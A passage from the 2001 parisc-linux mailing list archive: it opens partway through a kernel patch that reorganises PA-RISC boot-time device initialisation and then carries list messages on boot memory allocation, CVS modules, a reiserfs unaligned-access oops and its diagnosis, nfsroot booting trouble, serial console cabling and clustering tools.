-	    register_fallback_cpu();
-
-	printk(KERN_INFO "CPU(s): %d x %s at %d.%06d MHz\n",
-			boot_cpu_data.cpu_count,
-			boot_cpu_data.cpu_name,
-			boot_cpu_data.cpu_hz / 1000000,
-			boot_cpu_data.cpu_hz % 1000000	);
 
 #ifdef CONFIG_VT
 # if defined(CONFIG_STI_CONSOLE) || defined(CONFIG_DUMMY_CONSOLE)
@@ -422,52 +163,77 @@ void __init setup_arch(char **cmdline_p)
 
 }
 
-#ifdef CONFIG_PROC_FS
-/*
- *	Get CPU information for use by procfs.
- */
-
-int get_cpuinfo(char *buffer)
+static void parisc_proc_mkdir(void)
 {
-	char	*p = buffer;
-	int	n;
-
-	for(n=0; n<boot_cpu_data.cpu_count; n++) {
-#ifdef CONFIG_SMP
-		if (0 == cpu_data[n].hpa)
-			continue;
-#ifdef ENTRY_SYS_CPUS
-#error iCOD support wants to show CPU state here
-#endif
-#endif
-		p += sprintf(p, "processor\t: %d\n"
-				"cpu family\t: PA-RISC %s\n",
-				 n, boot_cpu_data.family_name);
-
-		p += sprintf(p, "cpu\t\t: %s\n",  boot_cpu_data.cpu_name );
-
-		/* cpu MHz */
-		p += sprintf(p, "cpu MHz\t\t: %d.%06d\n",
-				 boot_cpu_data.cpu_hz / 1000000,
-				 boot_cpu_data.cpu_hz % 1000000  );
-
-		p += sprintf(p, "model\t\t: %s\n"
-				"model name\t: %s\n",
-				 boot_cpu_data.pdc.sys_model_name,
-				 cpu_data[n].dev ? 
-				 cpu_data[n].dev->name : "Unknown" );
-
-		p += sprintf(p, "hversion\t: 0x%08x\n"
-			        "sversion\t: 0x%08x\n",
-				 boot_cpu_data.hversion,
-				 boot_cpu_data.sversion );
-
-		p += get_cache_info(p);
-		/* print cachesize info ? */
-		p += sprintf(p, "bogomips\t: %lu.%02lu\n",
-			     loops_per_jiffy / (500000 / HZ),
-			     (loops_per_jiffy / (5000 / HZ)) % 100);
+	/*
+	** Can't call proc_mkdir() until after proc_root_init() has been
+	** called by start_kernel(). In other words, this code can't
+	** live in arch/.../setup.c because start_parisc() calls
+	** start_kernel().
+	*/
+	switch (boot_cpu_data.cpu_type) {
+	case pcxl:
+	case pcxl2:
+		if (NULL == proc_gsc_root)
+		{
+			proc_gsc_root = proc_mkdir("bus/gsc", 0);
+		}
+		break;
+        case pcxt_:
+        case pcxu:
+        case pcxu_:
+        case pcxw:
+        case pcxw_:
+                if (NULL == proc_runway_root)
+                {
+                        proc_runway_root = proc_mkdir("bus/runway", 0);
+                }
+                break;
 	}
-	return p - buffer;
 }
+
+extern void busdevices_init(void);
+extern void processor_init(void);
+extern void ccio_init(void);
+extern void dino_init(void);
+extern void iosapic_init(void);
+extern void lba_init(void);
+extern void sba_init(void);
+
+void __init parisc_init(void)
+{
+	parisc_proc_mkdir();
+	do_device_inventory();                  /* probe for hardware */
+
+	processor_init();
+	printk(KERN_INFO "CPU(s): %d x %s at %d.%06d MHz\n",
+			boot_cpu_data.cpu_count,
+			boot_cpu_data.cpu_name,
+			boot_cpu_data.cpu_hz / 1000000,
+			boot_cpu_data.cpu_hz % 1000000	);
+
+#if defined(CONFIG_IOSAPIC)
+	iosapic_init();
+#endif
+	/* These are in a non-obvious order, will fix when we have an iotree */
+#if defined(CONFIG_PCI_LBA)
+	lba_init();
+#endif
+#if defined(CONFIG_IOMMU_SBA)
+	sba_init();
+#endif
+#if defined(CONFIG_IOMMU_CCIO)
+	ccio_init();
 #endif
+#if defined(CONFIG_GSC_DINO)
+	dino_init();
+#endif
+
+#ifdef CONFIG_GSC_LASI
+	busdevices_init();
+#endif
+
+#ifdef CONFIG_CHASSIS_LCD_LED
+	register_led_regions();	/* register LED port info in procfs */
+#endif
+}
--- drivers/gsc/gsc.c	2001/08/31 06:02:17	1.25
+++ drivers/gsc/gsc.c	2001/09/02 04:36:18
@@ -24,10 +24,6 @@
 #include <asm/irq.h>
 #include <asm/processor.h>	/* for boot_cpu_data */
 
-/* Intended for ccio/sba/cpu statistics under /proc/bus/{runway|gsc} */
-struct proc_dir_entry * proc_runway_root = NULL;
-struct proc_dir_entry * proc_gsc_root = NULL;
-
 u8 _gsc_readb(void *addr)
 {
 	long flags;
@@ -157,75 +153,4 @@ int gsc_claim_irq(struct gsc_irq *i, int
 	i->irq = irq;
 
 	return irq;
-}
-
-static void parisc_proc_mkdir(void)
-{
-	/*
-	** Can't call proc_mkdir() until after proc_root_init() has been
-	** called by start_kernel(). In other words, this code can't
-	** live in arch/.../setup.c because start_parisc() calls
-	** start_kernel().
-	*/
-	switch (boot_cpu_data.cpu_type) {
-	case pcxl:
-	case pcxl2:
-		if (NULL == proc_gsc_root)
-		{
-			proc_gsc_root = proc_mkdir("bus/gsc", 0);
-		}
-		break;
-        case pcxt_:
-        case pcxu:
-        case pcxu_:
-        case pcxw:
-        case pcxw_:
-                if (NULL == proc_runway_root)
-                {
-                        proc_runway_root = proc_mkdir("bus/runway", 0);
-                }
-                break;
-	}
-}
-
-extern void busdevices_init(void);
-extern void ccio_init(void);
-extern void dino_init(void);
-extern void iosapic_init(void);
-extern void lba_init(void);
-extern void sba_init(void);
-
-void __init gsc_init(void)
-{
-	/* FIXME: Much of the code here needs to move to somewhere more
-	 * appropriate.  But it isn't clear where to have pre-pci post-mm
-	 * initialisation hooks.
-	 */
-
-	parisc_proc_mkdir();
-
-#if defined(CONFIG_IOSAPIC)
-	iosapic_init();
-#endif
-	/* These are in a non-obvious order, will fix when we have an iotree */
-#if defined(CONFIG_PCI_LBA)
-	lba_init();
-#endif
-#if defined(CONFIG_IOMMU_SBA)
-	sba_init();
-#endif
-#if defined(CONFIG_IOMMU_CCIO)
-	ccio_init();
-#endif
-#if defined(CONFIG_GSC_DINO)
-	dino_init();
-#endif
-
-#ifdef CONFIG_GSC_LASI
-	busdevices_init();
-#endif

From - Thu Nov 08 21:19:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Delaying the device inventory detection time
Date: Sun, 2 Sep 2001 00:16:39 -0600 (MDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200109020616.AAA07559@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620439 24797 80.91.229.3 (22 Nov 2014 01:40:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  2 00:16:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC3F6482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Sep 2001 00:16:41 -0600 (MDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel6.hp.com (Postfix) with ESMTP id B8D751F74F
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Sep 2001 02:16:39 -0400 (EDT)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) id AAA07559
	for parisc-linux@lists.parisc-linux.org; Sun, 2 Sep 2001 00:16:39 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:12052

Ryan,

Why isn't alloc_bootmem or alloc_bootmem_pages good enough? I already
restructured the boot sequence a while back to allow for that.

The only problem I see with using those routines is that it is a little
harder to free up memory allocated with those routines once the
memory subsystem is fully initialized, but if you are only dynamically
allocating, without a need to free the memory you should be able to
use those routines without having to do any restructuring.

John




From - Thu Nov 08 21:19:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Which CVS modules are still alive?
Followup-To: gmane.linux.ports.hppa
Date: Sun, 2 Sep 2001 16:53:39 +0800
Lines: 21
Approved: news@gmane.org
Message-ID: <20010902165337.F16220@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620439 24799 80.91.229.3 (22 Nov 2014 01:40:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:39 +0000 (UTC)
To: Linux/HPPA List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  2 02:53:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-07.iinet.net.au [203.59.3.39])
	by dsl2.external.hp.com (Postfix) with SMTP id E001F482A
	for <parisc-linux@parisc-linux.org>; Sun,  2 Sep 2001 02:53:53 -0600 (MDT)
Original-Received: (qmail 10323 invoked by uid 666); 2 Sep 2001 08:53:45 -0000
Original-Received: from unknown (HELO guinness.internal.neep.com.au) (203.59.188.195)
  by iinet.net.au with SMTP; 2 Sep 2001 08:53:45 -0000
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id QAA09321
	for parisc-linux@parisc-linux.org; Sun, 2 Sep 2001 16:53:43 +0800
Mail-Followup-To: Linux/HPPA List <parisc-linux@parisc-linux.org>
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:12053

I was just wondering which of the following CVS modules (that I have
checked out) are still considered active.

  binutils  gcc  glibc  linux  palo

Obviously 'linux' will be active as long as hppa-linux kernel
development continues outside of the main kernel tree.  I believe glibc
has been mentioned before as being stale?  How about the others?

Cheers,

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:19:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] documented Oops running big-endian reiserfs on parisc architecture
Date: Sun, 2 Sep 2001 10:55:38 +0200
Lines: 133
Approved: news@gmane.org
Message-ID: <20010902105538.A15344@middle.of.nowhere>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620439 24800 80.91.229.3 (22 Nov 2014 01:40:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:39 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  2 02:55:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp8.xs4all.nl (smtp8.xs4all.nl [194.109.127.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77FAF482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Sep 2001 02:55:57 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp8.xs4all.nl (8.9.3/8.9.3) with ESMTP id KAA11506
	for <parisc-linux@lists.parisc-linux.org>; Sun, 2 Sep 2001 10:55:52 +0200 (CEST)
Original-Received: (qmail 16749 invoked from network); 2 Sep 2001 08:55:39 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 2 Sep 2001 08:55:39 -0000
Original-Received: (qmail 18968 invoked by uid 500); 2 Sep 2001 08:55:38 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
Xref: news.gmane.org gmane.linux.ports.parisc:12054

Well, I watched the number of files in /lost+found grow every time I
had to pull the plug from my HP C200, so I added a 'sync' option in
/etc/fstab and tried to get reiserfs working.

I patched my 2.4.9-pa13 kernel with

endian-safe-reiserfs-for-2.4.8.patch

which went without warnings or errors. A patched
reiserfs-progs-3.x.0k-pre9 also built well (despite what the configure
scripts says, you _need_ automake).

Creating a reiserfs-partition went without a hitch.

running bonnie -s 128 on it did this:

Adding Swap: 1041400k swap-space (priority -1)
eth0: Setting half-duplex based on MII#1 link partner capability of 0021.
reiserfs: checking transaction log (device 08:03) ...
Using r5 hash to sort names
ReiserFS version 3.6.25
bonnie[163]: Unaligned data reference 28

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001110
r0-3     00000000 102ec550 10197d0c 26f24838
r4-7     26f24848 27054e40 00000011 00000020
r8-11    0000000a 26f06580 00000020 26f247a0
r12-15   27088d1c ffffffff 26f24838 00000001
r16-19   26f24708 faf02c68 0006a248 26f24852
r20-23   0000000f 00000003 03000000 00000002
r24-27   0000000a 0000000a 26f24848 102d4010
r28-31   26f24848 01000000 26f24b40 10196fc8
sr0-3    00000000 00000004 00000000 00000004
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10197d10 10197d14
 IIR: 0c7c1093    ISR: 00000000  IOR: 26f24846
 ORIG_R28: 00000000
pa8200:/var/log#

After reading in the archives about ksymoops, I looked up this part of
my System.map:

101979e0 T reiserfs_lookup
101979e0 t .L1432
10197ad4 t reiserfs_add_entry
10197e50 t .L1512
10197f28 t .L1510
10198068 T reiserfs_create

objdump -d /boot/linux-2.4.9-pa13 revealed:

10197cbc:       d6 d6 0b 18     depw,z r22,7,8,r22
10197cc0:       d6 b5 0a 10     depw,z r21,15,16,r21
10197cc4:       41 33 01 fe     ldb ff(sr0,r9),r19
10197cc8:       0a d5 02 75     or r21,r22,r21
10197ccc:       d6 94 09 08     depw,z r20,23,24,r20
10197cd0:       0a b4 02 74     or r20,r21,r20
10197cd4:       0a 93 02 73     or r19,r20,r19
10197cd8:       d2 75 18 f8     extrw,u r19,7,8,r21
10197cdc:       d2 74 19 f8     extrw,u r19,15,8,r20
10197ce0:       0c 73 12 16     stb  r19,b(sr0,r3)
10197ce4:       d2 73 1a f8     extrw,u r19,23,8,r19
10197ce8:       0c 75 12 10     stb  r21,8(sr0,r3)
10197cec:       0c 74 12 12     stb  r20,9(sr0,r3)
10197cf0:       e8 86 a9 e4     b,l 102a51e8 <memcpy>,%r2
10197cf4:       0c 73 12 14     stb  r19,a(sr0,r3)
10197cf8:       08 06 02 59     copy r6,r25
10197cfc:       08 04 02 5a     copy r4,r26
10197d00:       d7 20 1c 1d     depwi 0,31,3,r25
10197d04:       e8 0d a5 d8     call 101b1ff8 <padd_item>
10197d08:       08 08 02 58     copy r8,r24
10197d0c:       00 01 0e 74     rsm 1,r20
10197d10:       0c 7c 10 93     ldw  e(sr0,r3),r19
10197d14:       d6 60 1f 1f     depwi 0,7,1,r19
10197d18:       0c 73 12 9c     stw  r19,e(sr0,r3)
10197d1c:       00 14 18 60     mtsm r20
10197d20:       85 e0 26 32     cmpib,=,n 0,r15,10198040 <.L1510+0x118>
10197d24:       00 01 0e 74     rsm 1,r20
10197d28:       0c 7c 10 93     ldw  e(sr0,r3),r19
10197d2c:       d6 7f 1f 5f     depwi -1,5,1,r19
10197d30:       0c 73 12 9c     stw  r19,e(sr0,r3)
10197d34:       00 14 18 60     mtsm r20
10197d38:       08 00 02 54     copy r0,r20
10197d3c:       08 00 02 55     copy r0,r21
10197d40:       37 c6 3e 51     ldo -d8(sp),r6
10197d44:       37 cd 3d c1     ldo -120(sp),r13
10197d48:       6b d4 3e 51     stw r20,-d8(sr0,sp)
10197d4c:       6b d5 3e 59     stw r21,-d4(sr0,sp)
10197d50:       6b d4 3e 61     stw r20,-d0(sr0,sp)
10197d54:       6b d5 3e 69     stw r21,-cc(sr0,sp)
10197d58:       08 0c 02 59     copy r12,r25
10197d5c:       6b c6 3e 01     stw r6,-100(sr0,sp)
10197d60:       6b cd 3f 99     stw r13,-34(sr0,sp)
10197d64:       08 08 02 58     copy r8,r24
10197d68:       08 05 02 5a     copy r5,r26
10197d6c:       eb ff b4 4d     b,l 10197798 <reiserfs_find_entry>,%r2

which makes the error somewhere around here in 
fs/reiserfs/namei.c, function reiserfs_add_entry, after call to
padd_item, before call to reiserfs_find_entry:

    /* copy name */
    memcpy ((char *)(deh + 1), name, namelen);
    /* padd by 0s to the 4 byte boundary */
    padd_item ((char *)(deh + 1), ROUND_UP (namelen), namelen);

    /* entry is ready to be pasted into tree, set 'visibility' and 'stat data in entry' attributes */
    mark_de_without_sd (deh);
    visible ? mark_de_visible (deh) : mark_de_hidden (deh);

    /* find the proper place for the new entry */
    memset (bit_string, 0, sizeof (bit_string));
    de.de_gen_number_bit_string = (char *)bit_string;
    retval = reiserfs_find_entry (dir, name, namelen, &path, &de);


And there I'm stuck. I'm sending this to the parisc-list to document the
failure, and to linux-kernel to reach some reiserfs-experts, perhaps.

I'm willing to test anything!

Good luck,
Jurriaan
-- 
"I have seen her. That is enough, perhaps."
Pug smiled. "You are a rare man."
	Raymond E Feist - The King's Buccaneer
GNU/Linux 2.4.9-ac5 SMP/ReiserFS 2x1402 bogomips load av: 0.04 0.01 0.06




From - Thu Nov 08 21:19:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: booting problems
Date: Sun, 2 Sep 2001 10:15:56 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20010902101556.W11744@linuxcare.com>
References: <3B8FB5EF.3020301@videotron.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620440 24802 80.91.229.3 (22 Nov 2014 01:40:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:40 +0000 (UTC)
Cc: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>,
	"debian-hppa@lists.debian.org" <debian-hppa@lists.debian.org>
To: James Waterhouse <james.waterhouse@videotron.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  2 03:15:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id E01D8482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Sep 2001 03:15:35 -0600 (MDT)
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA02338
	for <parisc-linux@puffin.external.hp.com>; Sun, 2 Sep 2001 03:13:28 -0600
Original-Received: (qmail 9506 invoked by uid 15267); 2 Sep 2001 09:15:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9497 invoked from network); 2 Sep 2001 09:15:38 -0000
Original-Received: from pc1-hems4-0-cust107.bre.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.107)
  by mailserv2.iuinc.com with SMTP; 2 Sep 2001 09:15:38 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 85C55B00C; Sun,  2 Sep 2001 10:15:56 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <3B8FB5EF.3020301@videotron.ca>; from james.waterhouse@videotron.ca on Fri, Aug 31, 2001 at 12:06:07PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:12055

On Fri, Aug 31, 2001 at 12:06:07PM -0400, James Waterhouse wrote:
> Hello everyone,
> 	I'm seem to be having trouble booting into linux on my 712/60. I hope 
> someone can help. I have built a new kernel (from cvs) and also set up 
> an nfs root. When I try to boot the linux boots up to the point where it 
> says "Cleaning: /tmp/ /var/lock /var/run" and then it just hangs. Any 
> idea what is cause it to hang? Could there be a problem with the nfsroot?

Possible.  What are you using for your nfsroot?  Does it still respond
to pings?  What console are you using?  Do you get a prompt if you
boot with 'init=/bin/sh'?

Richard





From - Thu Nov 08 21:19:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jacek Artymiak" <workstations@poczta.onet.pl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 9000/800 F20 serial console cable
Date: Sun, 2 Sep 2001 11:52:00 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <060201c13394$ea733640$05ffa8c0@hx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-2"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620440 24806 80.91.229.3 (22 Nov 2014 01:40:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:40 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  2 03:50:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ghost3.onet.pl (ghost3.onet.pl [213.180.128.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id E30AA482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Sep 2001 03:50:46 -0600 (MDT)
Original-Received: from pf105.lublin.sdi.tpnet.pl ([213.77.138.105]:9010 "HELO PILOT")
	by ghost3.onet.pl with SMTP id <S1077799AbRIBJug>;
	Sun, 2 Sep 2001 11:50:36 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Xref: news.gmane.org gmane.linux.ports.parisc:12056

Hi,

I'm trying to connect my Linux box to an HP 9000/900 F20 server's serial
console socket.  The cable I bought doen't seem to work right (I see output,
but nothing I type on the keyboard of my Linux box gets through to the F20).
Could this be the cable, or the terminal settings, or something else?.  Any
pointers to solutions, F20 serial console connector pinout or schematics for
the serial console/rs232 cable will be welcome.  You can contact me
privately, off the list, if you preffer not to pollute parisc-linux.

Jacek Artymiak



-- 

OnetKomunikator - porozumiesz sie
z innymi [ http://ok.onet.pl/instaluj.html ]





From - Thu Nov 08 21:19:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] documented Oops running big-endian reiserfs on parisc architecture
Date: Sun, 2 Sep 2001 15:00:23 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <20010902150023.U5126@parcelfarce.linux.theplanet.co.uk>
References: <20010902105538.A15344@middle.of.nowhere>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620440 24808 80.91.229.3 (22 Nov 2014 01:40:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, linux-kernel@vger.kernel.org
To: thunder7@xs4all.nl
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  2 08:00:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B0EC7482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Sep 2001 08:00:24 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15dXnT-0002HU-00; Sun, 02 Sep 2001 15:00:23 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010902105538.A15344@middle.of.nowhere>; from thunder7@xs4all.nl on Sun, Sep 02, 2001 at 10:55:38AM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12057

On Sun, Sep 02, 2001 at 10:55:38AM +0200, thunder7@xs4all.nl wrote:
> ReiserFS version 3.6.25
> bonnie[163]: Unaligned data reference 28

As it says, an unaligned data reference.

> r0-3     00000000 102ec550 10197d0c 26f24838

> IASQ: 00000000 00000000 IAOQ: 10197d10 10197d14

In kernel mode.

> 10197d10:       0c 7c 10 93     ldw  e(sr0,r3),r19

r3 is 26f24838, and offset `e' from that is unaligned.

> which makes the error somewhere around here in 
> fs/reiserfs/namei.c, function reiserfs_add_entry, after call to
> padd_item, before call to reiserfs_find_entry:
> 
>     /* copy name */
>     memcpy ((char *)(deh + 1), name, namelen);
>     /* padd by 0s to the 4 byte boundary */
>     padd_item ((char *)(deh + 1), ROUND_UP (namelen), namelen);
> 
>     /* entry is ready to be pasted into tree, set 'visibility' and 'stat data in entry' attributes */
>     mark_de_without_sd (deh);
>     visible ? mark_de_visible (deh) : mark_de_hidden (deh);
> 
>     /* find the proper place for the new entry */
>     memset (bit_string, 0, sizeof (bit_string));
>     de.de_gen_number_bit_string = (char *)bit_string;
>     retval = reiserfs_find_entry (dir, name, namelen, &path, &de);

I suspect mark_de_without_sd is an inlined function/macro and this will
be where the unaligned data reference is happening.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John Hagreis" <jha@xs4all.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] clustering tool ??
Date: Sun, 2 Sep 2001 16:14:33 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <KHEOKDLGAPDONGNKGOKFCEIHCAAA.jha@xs4all.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620441 24810 80.91.229.3 (22 Nov 2014 01:40:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:41 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  2 08:13:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp8.xs4all.nl (smtp8.xs4all.nl [194.109.127.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 11F35482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Sep 2001 08:13:13 -0600 (MDT)
Original-Received: from c004 (s340-modem66.dial.xs4all.nl [194.109.160.66])
	by smtp8.xs4all.nl (8.9.3/8.9.3) with SMTP id QAA25208
	for <parisc-linux@lists.parisc-linux.org>; Sun, 2 Sep 2001 16:13:07 +0200 (CEST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2479.0006
Xref: news.gmane.org gmane.linux.ports.parisc:12058


Hi there,

Is there a tool I can use to install my systems in my cluster all at once ??
Someone ??


Tia,

John Hagreis





From - Thu Nov 08 21:19:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] clustering tool ??
Date: Sun, 2 Sep 2001 23:18:28 +0800
Lines: 24
Approved: news@gmane.org
Message-ID: <20010902231825.M16220@neep.com.au>
References: <KHEOKDLGAPDONGNKGOKFCEIHCAAA.jha@xs4all.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620441 24814 80.91.229.3 (22 Nov 2014 01:40:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep  2 09:18:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-06.iinet.net.au [203.59.3.38])
	by dsl2.external.hp.com (Postfix) with SMTP id 54B25482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Sep 2001 09:18:43 -0600 (MDT)
